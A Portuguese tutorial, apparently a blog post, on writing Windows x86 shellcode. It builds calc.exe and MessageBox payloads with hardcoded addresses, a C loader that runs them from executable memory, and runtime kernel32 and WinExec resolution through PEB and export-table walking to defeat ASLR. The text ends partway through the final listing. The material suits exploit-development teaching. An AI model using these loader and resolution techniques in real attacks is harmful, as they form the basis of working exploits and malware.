Talvez uma das tarefas mais simples de um shellcode, porém essencial para seu entendimento no Windows, é o de abrir uma aplicação.

A função WinExec() na kernell32 pode ser usada para iniciar qualquer programa que o usuário que esteja executando o processo tenha permissão.

Ela tem o seguinte formato:

1
UINT WinExec(LPCSTR lpCmdLine, UINT uCmdShow);

Onde:

  • lpCmdLine será “calc.exe”;
  • uCmdShow será 1 (SW_NORMAL).

Como estamos falando em Assembly e queremos o menor shellcode possível, a primeira parte é converter a string “calc.exe” em hexadecimal, porém, para trabalharmos com os registradores, precisamos dividir nossa string em chunks de 4 bytes que precisam ser colocados em little endian. No caso, a string ficaria:

  • exe.
  • clac

Para facilitar o trabalho, fiz um script em Go que recebe a string e faz a conversão:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package main

import (
        "encoding/hex"
        "fmt"
        "os"
)

func reverseString(s string) string {
        runes := []rune(s)
        for i, j := 0, len(runes)-1; i < j; i, j = i+1, j-1 {
                runes[i], runes[j] = runes[j], runes[i]
        }
        return string(runes)
}

func main() {
        if len(os.Args) < 2 {
                fmt.Println("Por favor, forneça uma string de entrada.")
                return
        }

        input := os.Args[1]
        chunkSize := 4
        var chunks []string

        for i := 0; i < len(input); i += chunkSize {
                end := i + chunkSize
                if end > len(input) {
                        end = len(input)
                }
                chunks = append(chunks, input[i:end])
        }

        for i := len(chunks) - 1; i >= 0; i-- {
                chunk := reverseString(chunks[i])
                encoded := hex.EncodeToString([]byte(chunk))
                fmt.Println("0x"+encoded)
        }
}

Ao executar, passando a string como argumento, temos a sequência desejada:

1
2
0x6578652e
0x636c6163

Com isso podemos montar a função WinExec() em Assembly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
xor  ecx, ecx         ; zerando ecx
push ecx              ; string terminator 0x00 para "calc.exe"
push 0x6578652e       ; exe. : 6578652e
push 0x636c6163       ; clac : 636c6163

mov  eax, esp         ; salvando o ponteiro para a string "calc.exe" em ebx

; UINT WinExec([in] LPCSTR lpCmdLine, [in] UINT   uCmdShow);
inc  ecx              ; uCmdShow = 1
push ecx              ; uCmdShow *ptr para stack na posição 2 - LIFO
push eax              ; lpcmdLine *ptr para stack na posição 1
mov  ebx, 0x772e5140  ; chamando o endereço da função WinExec() na kernel32.dll
call ebx

Já a função ExitProcess() tem o seguinte formato:

1
void ExitProcess(UINT uExitCode);

Ela servirá para encerrar o processo no host após a calculadora ser invocada, sem o perigo de causar nenhum crash no programa.

Em Assembly, sua montagem segue:

1
2
3
4
5
; void ExitProcess([in] UINT uExitCode);
xor  eax, eax         ; zerando eax
push eax              ; push NULL
mov  eax, 0x772a7460  ; chamando o endereço da função ExitProcess na kernel32.dll
jmp  eax              ; executando a função ExitProcess

Uma vez com estas partes, podemos montar o programa todo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
section .data

section .bss

section .text

global _start

_start:

	xor  ecx, ecx         ; zerando ecx
	push ecx              ; string terminator 0x00 para "calc.exe"
	push 0x6578652e       ; exe. : 6578652e
	push 0x636c6163       ; clac : 636c6163

	mov  eax, esp         ; salvando o ponteiro para a string "calc.exe" em eax

	; UINT WinExec([in] LPCSTR lpCmdLine, [in] UINT   uCmdShow);
	inc  ecx              ; uCmdShow = 1
	push ecx              ; uCmdShow *ptr para stack na posição 2 - LIFO
	push eax              ; lpcmdLine *ptr para stack na posição 1
	mov  ebx, 0x772e5140  ; chamando o endereço da função WinExec() na kernel32.dll
	call ebx

	; void ExitProcess([in] UINT uExitCode);
	xor  eax, eax         ; zerando eax
	push eax              ; push NULL
	mov  eax, 0x772a7460  ; chamando o endereço da função ExitProcess na kernel32.dll
	jmp  eax              ; executando a função ExitProcess

Agora podemos compilar, linkar e verificar os bytes:

1
2
3
$ nasm -f elf32 calc.asm
$ ld -m elf_i386 -o calc calc.o
$ objdump -M intel -d calc

Utilizando o mesmo oneliner de antes, obtemos a string com o shellcode:

1
for i in $(objdump -d calc | grep '^ ' | cut -f2);do echo -n '\x'$i;done;echo

Inserindo o shellcode no programa de teste, temos o seguinte resultado:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

unsigned char shellcode[] =
"\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe0\x41\x51\x50\xbb\x40\x51\x2e\x77\xff\xd3\x31\xc0\x50\xb8\x60\x74\x2a\x77\xff\xe0";
int main() {
    size_t shellcode_size = sizeof(shellcode) - 1;

    void *exec_mem = VirtualAlloc(0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (exec_mem == NULL) {
        fprintf(stderr, "Falha na alocação de memória.\n");
        exit(EXIT_FAILURE);
    }

    memcpy(exec_mem, shellcode, shellcode_size);

    void (*func)() = (void(*)())exec_mem;
    func();

    return 0;
}

E podemos compilá-lo:

1
i686-w64-mingw32-gcc winshelltest.c -o winshelltest.exe

Ao executarmos o programa, o shellcode é ativado, abrindo a calculadora.

Exemplo 2 - Hack The PLannet! - MessageBox

Embora este exemplo não faça nada além de abrir uma caixa de texto, ele possibilita demonstrar várias ações possíveis em um shellcode. Ele demonstrará, tanto o endereçamento absoluto, como utilizado no exemplo anterior, como endereçamento dinâmico utilizando as funções LoadLibraryA() e GetProcAddress().

O primeiro passo, é descobrir os endereços das funções.

1
2
3
LoadLibraryA - 0x772b0ed0
GetProcAddress - 0x77298250
ExitProcess - 0x772a7460

Como invocaremos uma caixa de texto, podemos utilizar a função MessageBoxA() da qual, não sabemos seu endereço de memória. De acordo com sua documentação, esta função está na biblioteca user32.dll da qual também não sabemos onde seu endereçamento começa. Por este motivo, usaremos a função LoadLibraryA() que carregará a biblioteca user32.dll em tempo de execução, e em seguida a função GetProcAddress() carregará o endereço da MessageBoxA().

O primeiro passo, é definir como utilizaremos os registradores:

1
2
3
4
5
6
7
8
_start:

	xor eax, eax    ;eax conterá os endereços de retorno
	xor ebx, ebx    ;ebx conterá os endereços das funções
	xor ecx, ecx    ;ecx conterá os ponteiros para as strings
	xor edx, edx    ;edx conterá um valor NULL

	jmp short Library

O jmp short Library salta para uma chamada que conterá a string com o nome da biblioteca.

1
2
3
Library:
	call ReturnLibrary
	db 'user32.dllA'

O “A” no final da string, é um caractere adicional que será substituído por um NULL indicando o string terminator. Já a chamada para ReturnLibrary apontará para o seguinte código:

1
2
3
4
5
6
7
8
9
ReturnLibrary:

	pop ecx                ;captura o ponteiro para a string "user32.dllA"
	mov [ecx + 10], dl     ;subsitui o "A" por NULL
	mov ebx, 0x772b0ed0    ;endereço da LoadLibraryA
	push ecx               ;envia a string para o topo da stack
	call ebx               ;com a chamada, eax conterá o identificador do módulo user32.dll

	jmp short Function

Este trecho de código utiliza da função LoadLibraryA() para carregar o identificador da biblioteca solicitada no registrador eax. Esta função tem o seguinte formato:

1
2
3
HMODULE LoadLibraryA(
  [in] LPCSTR lpLibFileName
);

O jmp short Function salta para uma chamada que conterá a string com o nome da função.

1
2
3
4
Function:

	call ReturnFunction
	db 'MessageBoxAA'

A chamada para ReturnFunction apontará para o seguinte código:

1
2
3
4
5
6
7
8
9
10
11
ReturnFunction:

	pop ecx                ;captura o ponteiro para a string
	xor edx, edx
	mov [ecx + 11], dl     ;subsitui o "A" por NULL
	push ecx               ;envia a string para o topo da stack na posição 2
	push eax               ;envia o identificador do módulo user32.dll para o topo da pilha na posição 1
	mov ebx, 0x77298250    ;endereço da GetProcAddress
	call ebx               ;com a chamada, eax conterá o endereço da função MessageBoxA

	jmp short Message

Este trecho de código utiliza da função GetProcAddress() para carregar o endereço da função solicitada no registrador eax. Esta função tem o seguinte formato:

1
2
3
4
FARPROC GetProcAddress(
  [in] HMODULE hModule,
  [in] LPCSTR  lpProcName
);

O jmp short Message salta para uma chamada que conterá a string com a mensagem a ser impressa.

1
2
3
4
Message:

	call ReturnMessage
	db 'Hack The Plannet!A'

A chamada para ReturnMessage apontará para o seguinte código:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ReturnMessage:

	pop ecx             ;captura o ponteiro para a string
	xor edx, edx
	mov [ecx + 17], dl  ;subsitui o "A" por NULL

	xor edx, edx

	push edx            ;envia NULL para o topo da pilha definindo o tipo da box MB_OK
	push ecx            ;envia a string para o topo da pilha definindo o title
	push ecx            ;envia a string para o topo da pilha definindo a mensagem
	push edx            ;envia NULL para o topo da pilha definindo o windowhandle

	call eax            ;chama o endereço da função MessageBoxA

Este trecho de código monta e chama a função MessageBoxA(). Esta função tem o seguinte formato:

1
2
3
4
5
6
int MessageBoxA(
  [in, optional] HWND   hWnd,
  [in, optional] LPCSTR lpText,
  [in, optional] LPCSTR lpCaption,
  [in]           UINT   uType
);

Por fim, incluímos a função ExitProcess() para finalizar o processo normalmente.

1
2
3
4
5
6
end:

	xor edx, edx
	push eax
	mov eax, 0x772a7460 ;endereço da função ExitProcess
	call eax

Juntando todas as partes, temos o seguinte programa:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
section .data

section .bss

section .text

global _start

_start:

	xor eax, eax    ;eax conterá os endereços de retorno
	xor ebx, ebx    ;ebx conterá os endereços das funções
	xor ecx, ecx    ;ecx conterá os ponteiros para as strings
	xor edx, edx    ;edx conterá um valor NULL

	jmp short Library

ReturnLibrary:

	pop ecx                ;captura o ponteiro para a string "user32.dllA"
	mov [ecx + 10], dl     ;subsitui o "A" por NULL
	mov ebx, 0x772b0ed0    ;endereço da LoadLibraryA
	push ecx               ;envia a string para o topo da stack
	call ebx               ;com a chamada, eax conterá o identificador do módulo user32.dll

	jmp short Function

ReturnFunction:

	pop ecx                ;captura o ponteiro para a string
	xor edx, edx
	mov [ecx + 11], dl     ;subsitui o "A" por NULL
	push ecx               ;envia a string para o topo da stack na posição 2
	push eax               ;envia o identificador do módulo user32.dll para o topo da pilha na posição 1
	mov ebx, 0x77298250    ;endereço da GetProcAddress
	call ebx               ;com a chamada, eax conterá o endereço da função MessageBoxA

	jmp short Message

ReturnMessage:

	pop ecx             ;captura o ponteiro para a string
	xor edx, edx
	mov [ecx + 17], dl  ;subsitui o "A" por NULL

	xor edx, edx

	push edx            ;envia NULL para o topo da pilha definindo o tipo da box MB_OK
	push ecx            ;envia a string para o topo da pilha definindo o title
	push ecx            ;envia a string para o topo da pilha definindo a mensagem
	push edx            ;envia NULL para o topo da pilha definindo o windowhandle

	call eax            ;chama o endereço da função MessageBoxA

end:

	xor edx, edx
	push eax
	mov eax, 0x772a7460 ;endereço da função ExitProcess
	call eax

Library:
	call ReturnLibrary
	db 'user32.dllA'

Function:

	call ReturnFunction
	db 'MessageBoxAA'

Message:

	call ReturnMessage
	db 'Hack The Plannet!A'

Agora podemos compilar, linkar e verificar os bytes:

1
2
3
$ nasm -f elf message.asm
$ ld -m elf_i386 -o message message.o
$ objdump -M intel -d message

Utilizando o mesmo oneliner de antes, obtemos a string com o shellcode:

1
for i in $(objdump -d message | grep '^ ' | cut -f2);do echo -n '\x'$i;done;echo

Seguindo os exemplos anteriores, podemos injetar este shellcode no programa de testes, compilá-lo da mesma forma e executar no Windows.

Por mais simples que seja a ação deste shellcode, o fato de ter introduzido o endereçamento dinâmico, é importante para o entendimento de processos mais complexos que envolvem a exploração de ambientes desconhecidos,


Shellcode com Endereços Dinâmicos

Os shellcodes com endereços codificados são muito úteis para abrir as portas do entendimento de shellcode em ambiente Windows, porém, na maioria das vezes, não se aplicam no cenário real por alguns motivos: os endereços de memória das bibliotecas e funções variam de versão para versão do Windows, de atualização para atualização, e de patch para patch, além de que, toda vez que o sistema é reiniciado, os endereços mudam graças ao ASLR (Address Space Layout Randomization). Ou seja, para que este método funcione, é preciso já ter acesso à máquina alvo para os endereços serem extraídos antes da criação do shellcode, o que é extremamente raro de acontecer.

Para que um shellcode possa se aplicar de forma mais “automática” possível, ele deve ser capaz de, por si só, encontrar os endereços de memória que precisa em tempo de execução.

Esse processo é menos complexo do que parece, porém, bastante trabalhoso e exige um certo nível de entendimento sobre o SO. No intuito de gerar ou direcionar para o conhecimento necessário, exploraremos conceitualmente cada parte.

Entendendo as Chamadas de Baixo Nível

Quando criamos um programa em C e utilizamos a biblioteca Windows.h (#include <Windows.h>) ela automaticamente fará um link dinâmico com todas as dependências necessários para execução deste no ambiente Windows. Porém, isso não acontece quando criamos um programa em ASM, neste caso é preciso descobrir o endereço das funções desejadas, carregar os argumentos na stack e chamar o registrador que tem o ponteiro para o endereço da função.

Um fato importante para saber, é que a maioria das funções do Windows, são acessadas através das DLL Primárias: ntdll.dll, kernel32.dll e kernelbase.dll. Estas são DLL de extrema importância para o funcionamento do kernel, portanto, toda vez que executamos um binário, elas são automaticamente carregadas.

Para exemplificar, podemos utilizar um simples programa em C que chama a calculadora:

1
2
3
4
5
6
7
8
9
#include <windows.h>

int main() {
    UINT result;

    result = WinExec("calc.exe", SW_SHOW);

    return 0;
}

Vamos carregar este programa no debugger x32dbg e “debugar” seu comportamento.

Ao visualizarmos o Log, podemos ver que as DLL primárias foram carregadas com o programa. Se navegarmos pelos “Symbols” podemos ver todas as bibliotecas carregadas.

Se procurarmos pela função WinExec utilizada no programa, veremos que ela é carregada pela biblioteca kernel32.dll com o endereço 0x76705140. Podemos confirmar pesquisando pela função em nosso programa getaddr.exe:

Portanto, a informação do debugger x32dbg confere com o endereço real da função em tempo de execução.

Uma vez que sabemos que as DLL primárias são carregadas toda vez que um binário é executado, é possível calcular seu endereço de memória e, consequentemente, calcular o endereço da função desejada. O que temos que saber inicialmente é em qual ordem estas bibliotecas são carregadas. Felizmente a ordem pode mudar de versão para versão, mas será sempre a mesma para uma única versão, isso significa que a ordem de carregamento pode mudar entre o Windows 10 e 11, mas será sempre a mesma no Windows 11, independente da atualização ou patch.

Com isso, temos os seguintes passos:

  1. Descobrir a ordem de carregamento da kernel32.dll;
  2. Encontrar o endereço da kernel32.dll;
  3. Encontrar o endereço da função desejada;
  4. Carregar os argumentos da função na stack;
  5. Chamar o ponteiro com o endereço da função.

Descendo Um Pouco Mais

Para conseguirmos o endereço da biblioteca kernel32.dll em tempo de execução, precisamos descer um pouco mais o nível e entender como o kernel processa toda a informação quando executamos um programa.

Toda vez que um .exe é executado, as primeiras coisas a serem criadas são o TEB (Thread Environment Block) e o PEB (Process Environment Block).

De forma simplificada, o SO aloca uma estrutura para cada processo em execução, a primeira estrutura é a TEB, acessível a partir do registro FS (File Segment), dentro da TEB existe um ponteiro para a PEB. A estrutura PEB, conhecida como LDR, contém a estrutura PEB_LDR_DATA que mantém informações sobre heaps, sobre o binário, e o mais importante neste cenário: 3 listas vinculadas sobre módulos carregados mapeados no espaço do processo, sendo elas:

  • InLoadOrderModuleList - A ordem na qual os módulos (exes ou dlls) são carregados;
  • InMemoryOrderModuleList - A ordem na qual os módulos (exes ou dlls) são armazenados na memória;
  • InInitializationOrderModuleList - A ordem na qual os módulos (exes ou dlls) são inicializados na PEB.

Para termos uma visão mais simples dos endereçamentos, podemos abir o programa com o “debugger” windbg. Ao iniciar o programa no debugger, podemos utilizar o comando !peb para visualizar a estrutura iniciada.

Conforme visto, o endereço da LDR é 0x7767eb20. Esta informação é de extrema importância, uma vez que vamos utilizá-la para calcular os próximos endereços.

Agora podemos utilizar o comando dt nt!_TEB para encontrar o offset da estrutura PEB.

Conforme a imagem, o offset da estrutura _PEB é de 0x030. Também podemos ver o conteúdo da estrutura com o mesmo comando dt nt!_PEB.

O offset para _PEB_LDR_DATA é 0x00c. Também podemos utilizar o mesmo comando dt nt!_PEB_LDR_DATA para verificar o que existe na estrutura _PEB_LDR_DATA.

As 3 listas vinculadas estão dentro da _PEB_LDR_DATA conforme esperado. InLoadOrderModuleList com offset de 0x00c, InMemoryOrderModuleList com offset de 0x014 e InInitializationOrderModuleList com offset de 0x01c. Para vermos o exato endereço onde estas listas são carregadas, podemos utilizar o endereço da LDR (0x7767eb20) que encontramos anteriormente, com o comando dt nt!_PEB_LDR_DATA 7767eb20. Isto nos mostrará os endereços de início e fim de cada lista.

Agora temos um “pulo do gato”. O windbg classificou a lista InMemoryOrderModuleList no endereço 0x1214208 como uma _LIST_ENTRY, porém, ao consultar o MSDN, a própria Microsoft a classifica como uma LDR_DATA_TABLE_ENTRY.

Desta forma, podemos visualizar os módulos carregados nessa estrutura especificando seu endereço de início. Lembrando que 0x1214208 é o endereço da própria struct, então sua primeira entrada se encontra 8 bytes abaixo, logo o comando é dt nt!_LDR_DATA_TABLE_ENTRY 0x1214208-8.

Observando a saída do comando, podemos concluir que a primeira BaseDllName é “callcalc.exe”, ou seja, o próprio executável que estamos analisando. Também podemos observar que o endereço da InMemoryOrderLinks agora é 0x12140f0 e a DllBase no offset 0x018 contém do endereço base da BaseDllName. O próximo módulo agora se encontra 8 bytes antes de 0x12140f0, ou seja, dt nt!_LDR_DATA_TABLE_ENTRY 0x12140f0-8.

O Segundo módulo carregado foi ntdll.dll, seu endereço é 0x77550000 e o próximo módulo está 8 bytes antes de 0x12146b0, ou seja, dt nt!_LDR_DATA_TABLE_ENTRY 0x12146b0-8.

O terceiro módulo carregado, é justamente a kernel32.dll que precisamos. Esta ordem de carregamento será sempre a mesma em cada versão do SO, no caso dos testes para este artigo, foi utilizado um Windows 11, ou seja, todas as atualizações do Windows 11 terão a mesma ordem de carregamento. Da mesma forma que fizemos, também podemos consultar o quarto módulo, a kernelbase.dll.

Isso significa que podemos caminhar por toda a estrutura PEB LDR durante a execução para encontrar o endereço da kernel32.dll.

Resumindo o que este processo nos forneceu de informação:

  1. A PEB está localizada em um offset de 0x030 do registrador FS;
  2. A LDR está localizada em um offset de PEB + 0x00c;
  3. InMemoryOrderModuleList está localizada em um offset de LDR + 0x014;
  4. O primeiro módulo carregado é o próprio .exe;
  5. O segundo módulo carregado é a ntdll.dll;
  6. O terceiro módulo carregado é a kernel32.dll;
  7. O quarto módulo carregado é a kernelbase.dll.

Toda vez que uma DLL é carregada o endereço é armazenado no offset da DllBase que é 0x018. O endereço de início das listas vinculadas é armazenado no offset da InMemoryOrderLinks que é 0x008. Portanto a diferença de offset será DllBase - InMemoryOrderLinks = 0x018 - 0x008 = 0x010. Com isso, o offset da kernel32.dll é LDR + 0x10.

Convertendo este processo em ASM, temos o seguinte programa:

searchkernel32.asm:

1
2
3
4
5
6
7
8
9
10
11
12
13
global _start

section .text

_start:

    xor eax, eax            ;zerando o registrador
    mov eax, [fs:0x30]      ;movendo o offset da PEB de fs (File Segment) para eax
    mov eax, [eax + 0x0c]   ;movendo o offset da LDR (PEB + 0x00c) para eax
    mov eax, [eax + 0x14]   ;movendo o offset da InMemoryOrderModuleList (LDR + 0x014) para eax
    mov eax, [eax]          ;carregando o endereço efetivo do primeiro modulo - o executavel em si
    mov eax, [eax]          ;carregando o endereço efetivo do segundo modulo - ntdll.dll
    mov eax, [eax + 0x10]   ;carregando o endereço base do terceiro modulo - kernel32.dll

Podemos compilar o programa no Windows:

> nasm -f win32 searchkernel32.asm
> ld -m i386pe searchkernel32.obj -o searchkernel32.exe

Ao executarmos o programa no debugger xdbg32, podemos ver que ao final, o endereço da kernel32.dll estará em eax.

Mergulhando na kernel32.dll

Uma vez que já conseguimos descobrir o endereço da kernel32.dll em tempo de execução, o próximo passo é descobrir os endereços das funções que precisamos e estão contidas dentro dela também em tempo de execução.

Porém, como o ASLR randomiza os endereços de memória toda vez que o sistema operacional é iniciado, não existe uma forma de cravar um endereço específico em um shellcode e esperar que ele funcione em qualquer lugar.

Mas isso levanta a questão: se os endereços são randomizados a cada inicialização do SO para dificultar a exploração, como o próprio kernel consegue encontrar os endereços?

A solução dos SO para este problema são os já citados offsets, ou como o Windows chama RVAs (Relative Virtual Address). Os RVAs nada mais são que “tabelas” de referência para encontrar funções e objetos em espaços de memória.

Um exemplo hipotético e muito simplório seria: suponha que o RVA da função WinExec() seja 0x1c, isso significa que se a biblioteca kernel32.dll for carregada no endereço 0x77ab0000 o endereço real da função WinExec() será a soma do endereço base com o offset da função, ou seja, 0x77ab001c, se a kernel32.dll for carregada no endereço 0x75010000 a WinExec() será carregada no endereço 0x7501001c e assim por diante.

Porém, no cenário real, esse processo não acontece com uma única “tabela”, os endereços relativos geralmente referenciam uma estrutura, que por sua vez tem outra estrutura referenciada, e esse caminho ocorre várias vezes até se chegar na função. Então o processo de análise precisa ser minucioso, com prática e repetição é muito simples, porém trabalhoso.

Para entender o conceito (que parece complexo), encontraremos o endereço da função WinExec() manualmente, depois sumarizar os passos para criar um programa que faz isso de forma automatizada.

Como este artigo não foi escrito em um único dia, a máquina foi reiniciada várias vezes, portanto utilizarei o programa getaddr.exe novamente para encontrar manualmente o endereço base da kernel32.dll.

Conforme o output, temos:

1
2
kernel32.dll - 0x75700000
WinExec      - 0x75765140

Estas informações são importantes para conferirmos depois.

As dll assim como os .exe fazem parte da mesma família dos PE (Portable Executable), portanto, podemos analisar detalhadamente a kernel32.dll com o uso do PEview.

No painel à esquerda temos as sessões da biblioteca, e no painel à direita temos seu conteúdo. Normalmente, executáveis contém muita informação, no início do arquivo temos a informação se é um arquivo DOS, um arquivo ELF, se é um MZ (Magic number of executable) ou qualquer outro formato. Ao analisar o arquivo, vemos que a kernel32.dll é um MZ na RVA 00000000. Porém, o que nos interessa no IMAGE_DOS_HEADER está no RVA 0000003c ou 0x3c o Offset to New EXE Header que por sua vez contém um endereço de outra RVA 0xf8.

Agora se navegarmos para IMAGE_NT_HEADER->Signature ele nos mostrará que no RVA F8 temos o IMAGE_NT_SIGNATURE e isso significa que é o ponto inicial do nosso cabeçalho PE.

O IMAGE_NT_HEADERS é basicamente uma estrutura Windows que contém 3 elementos: o Signature o IMAGE_FILE_HEADER e o IMAGE_OPTIONAL_HEADER. De acordo com MSDN o IMAGE_OPTIONAL_HEADER é outra estrutura do Windows. Conforme visto na imagem abaixo, o último objeto desta estrutura, é o IMAGE_DATA_DIRECTORY, ela contém os RVAs e tamanhos de várias tabelas:

Basicamente, o cálculo dos endereços das tabelas segue a lógica de que: endereço da tabela = endereço da tabela anterior + tamanho da tabela anterior + 4 (tamanho do endereço 4 bytes), ou seja:

RVATamanho da TabelaNome da Tabela
100001200A
11204 (10000 + 1200 + 4)1000B
13208 (11204 + 1000 + 4)1300C

Se olharmos para a primeira entrada da IMAGE_DATA_DIRECTORY veremos o RVA 170 correspondente a EXPORT Table, seu conteúdo é o RVA 93df0.

Este RVA corresponde ao IMAGE_EXPORT_DIRECTORY que pode ser acessado navegando para SECTION .rdata->IMAGE_EXPORT_DIRECTORY.

O IMAGE_EXPORT_DIRECTORY é responsável por armazenar todas as informações relacionadas as funções em uma DLL. Entre suas entradas, 3 são importantes em nosso contexto:

  • RVA 93e0c (93df0 + 0x1c) - Address Table RVA que contém 93e18 que é o RVA da EXPORT Address Table (Na imagem abaixo);
  • RVA 93e10 (93df0 + 0x20) - Name Pointer Table RVA que contém 957c4 que é o RVA da EXPORT Name Pointer Table (Na imagem abaixo);
  • RVA 93e14 (93df0 + 0x24) - Ordinal Table RVA que contém 97170 que é o RVA da EXPORT Ordinal Table (Na imagem abaixo).

EXPORT Address Table

EXPORT Name Pointer Table

EXPORT Ordinal Table

De forma simplificada, estas tabelas são:

  • EXPORT Address Table - Contém RVAs que por sua vez armazenam outros RVAs que apontam para todos os símbolos/funções na kernel32.dll;
  • ERXPORT Name Pointer Table - Aponta para os nomes (strings) dos símbolos/funções na kernel32.dll e o valor ordinal final de cada um;
  • EXPORT Ordinal Table - Contém o valor ordinal inicial de cada símbolo/função (que sempre será igual ao valor ordinal final -1).

Uma vez que sabemos que a EXPORT Address Table armazena os RVAs das funções, podemos até mesmo encontrar manualmente a função WinExec() dentro dela.

Assim como se procurarmos a função na ERXPORT Name Pointer Table, encontraremos seu valor ordinal final que é 0x0629.

Até este ponto, uma boa caminhada foi feita na estrutura da kernel32.dll, e o mais importante é que tudo que enumeramos foram RVAs, ou seja, offsets de endereços, e não endereços absolutos. O que significa que o processo para encontrar estes offsets será replicável para todas as atualizações do Windows 11 (utilizado no estudo). Porém, fizemos tudo isso “na mão”, o que não é replicável em um ataque real, pois em muitas das vezes o shellcode é feito antes do acesso inicial ao alvo.

O próximo passo, é mapear a forma de encontrar o endereço da função WinExec() dentro da EXPORT Address Table, para isso, vamos enumerar os passos contando com o que já temos.

  1. Encontrar o RVA do offset do cabeçalho EXE - já temos = 0x3c;
  2. Encontrar o RVA da Export Table - já temos 170 - f8 (início do cabeçalho do PE) = 0x78;
  3. Encontrar o RVA da IMAGE_EXPORT_DIRECTORY - já temos = 0x93df0 contido no RVA da Export Table;
  4. Encontrar o RVA da EXPORT Address Table - já temos = 0x93e18 (conteúdo de 0x93df0 + 0x1c) ;
  5. Encontrar o RVA de EXPORT Name Pointer - já temos = 0x957c4 (conteúdo de 0x93df0 + 0x20);
  6. Encontrar o valor ordinal final da WinExec() na EXPORT Name Pointer Table, podemos fazer isso usando um loop comparando strings - já temos manualmente = 0x0629;
  7. Subtrair 1 do valor ordinal final da WinExec() para encontrar o valor ordinal inicial - já temos manualmente = 0x0628 = 0x0629 - 1;
  8. Somar ao RVA da EXPORT Address Table (valor ordinal inicial * tamanho do endereço (4 bytes)) - já temos manualmente 0x93e18 + 0x0628 * 4 = 0x956B8;
  9. Capturar o conteúdo da RVA encontrada no passo 8 (0x65140) e somar ao endereço base da kernel32.dll - já temos manualmente = 0x75765140 = 0x75700000 + 0x65140;

Se compararmos aos valores obtidos com o programa getaddr.exe, chegamos exatamente nos valores corretos, e tudo isso com matemática de offsets:

1
2
kernel32.dll - 0x75700000
WinExec      - 0x75765140

Desenvolvendo o shellcode, Exemplo 1 - Invocando a Calculadora

Seguindo o fluxo para invocar a função, vimos que a partir do passo 6 não temos uma forma automatizada de encontrar os endereços, tivemos a facilidade de procurar manualmente, mas se uma atualização alterar o ordinal da função, o shellcode deixa de funcionar. Portanto, vamos escrever um programa, que fará um loop na EXPORT Name Pointer Table a procura da string que contenha o nome da função desejada passando por cada ordinal de forma incremental.

Primeiramente, precisamos enviar o nome da função a ser procurada na stack, ela precisa estar em hexadecimal e em ordem inversa (little endian) separada a cada 8 bytes. Usaremos o programa em Go que utilizamos anteriormente.

Temos os seguintes valores:

1
2
0x4e636578
0x456e6957

Note que o “N” inserido ao final, serve somente para completar os 8 bytes, no programa ASM trataremos este caractere.

Este trecho abaixo, fará a procura do endereço da função utilizando os 9 passos listados acima, muita atenção, pois é a continuação do programa que procura o endereço base da kernel32.dll, portanto ele conta com que o endereço base da kernel32.dll já esteja armazenado em eax.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
    ;enviando nome da função para stack
    xor edx, edx                ;zerando o registrador
    push 0x4e636578             ;movendo Ncex para stack
    sub word [esp + 0x3], 0x4e  ;removendo o "N"
    push 0x456e6957             ;movendo EniW para stack
    ;encontrando o endereço da Export Table e armazenando em edx
    mov edx, [eax + 0x3c]       ;conteudo de 0x3c é f8 e foi movido para edx
    add edx, eax                ;adicionado o endereço base da kernel32 a f8, edx = 0x757000f8
    mov edx, [edx + 0x78]       ;adicionado 0x78 (170 - f8) para obter o RVA de Image Export Directory, edx = 0x93df0
    add edx, eax                ;adicionado o endereço base da kernel32 para obter o endereço base de Image Export Directory, edx = 0x75793df0
    ;encontrando o endereço da Export Name Pointer table e armazenando em ecx
    mov ecx, [edx + 0x20]       ;adicionadno 0x20 a 0x75793df0 para obter o RVA da Export Name Pointer Table, ecx = 0x957c4
    add ecx, eax                ;adicionado o endereço base da kernel32 para obter o endereço base de Export Name Pointer Table, ecx = 0x757957c4
    mov [ebp-4], ecx            ;movendo o endereço base de Export Name Pointer Table para a variavel [ebp-4]
    ;encontrando o endereço de Export Address table e armazenando em edx
    mov edx, [edx + 0x1c]       ;adicionando 0x1c a 0x75793df0 para obter o RVA da Export Address Table, edx = 0x93e18
    add edx, eax                ;adicionado o endereço base da kernel32 para obter o endereço base de Export Address Table, edx = 0x75793e18

;encontrando o endereço da WinExec na kernel32.dll com loop
    xor ebx, ebx                    ;zerando o registrador para uso no loop
findproc:

    xor ecx, ecx            ;zerando o registrador para ser usado em comparações de string
    mov esi, esp            ;movendo WinExec da stack para esi
    mov edi, [ebp-4]        ;movendo o endereço base da Export Name Pointer Table para edi, edi = 0x757957c4
    mov edi, [edi + ebx*4]  ;endereço base da Export Name Pointer Table + valor ordinal * 4, edi = RVA do função buscada pelo nome
    add edi, eax            ;adicionando o endereço base da kernel32 ao RVA da função
    add cx, 4               ;movendo o comprimento da string WinExec para cx: WinExec = 7 bytes = 4 WORD
    repe cmpsw              ;compara o numero de WORDS no registrador cx da esquerda para direita com edi e esi, armazena a saída na flag ZF
    jz findaddr             ;pula para findaddr e quebra o loop se a flag ZE for TRUE
    inc ebx                 ;incrementa o contador que contém o ordinal
    loop findproc           ;loop no findproc
findaddr:

Adicionando este trecho ao anterior, temos o código:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
global _start

section .text

_start:

    xor eax, eax            ;zerando o registrador
    mov eax, [fs:0x30]      ;movendo o offset da PEB de fs (File Segment) para eax
    mov eax, [eax + 0x0c]   ;movendo o offset da LDR (PEB + 0x00c) para eax
